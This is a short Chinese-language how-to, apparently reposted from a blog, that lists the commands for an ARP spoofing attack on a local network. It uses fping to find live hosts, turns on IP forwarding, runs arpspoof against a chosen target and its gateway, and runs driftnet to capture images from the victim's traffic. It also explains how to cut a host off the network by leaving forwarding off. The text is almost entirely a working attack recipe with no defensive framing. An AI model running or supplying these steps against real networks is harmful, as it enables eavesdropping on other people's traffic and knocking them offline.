arp欺骗：
/*正常情况下 电脑是将流量发送到网关 而欺骗后 则将流量传到此机器的网卡上 再由此机器进行转发至网关*/
--》 first:
使用fping -asg ip段/*扫描段内存活的主机*/
--》second：
打开终端 输入echo 1 >/proc/sys/net/ipv4/ip_forward 进行IP流量转发
--》third：
输入命令：arpspoof -i 网卡 -t 目标主机ip 网关
--》four：
重新打开一个终端输入：driftnet -i 网卡 /*提取网卡的图片*/
局域网断网：
以上步骤去掉第二步 关闭ip流量转发
原文：http://www.cnblogs.com/fantuanjun/p/7019728.html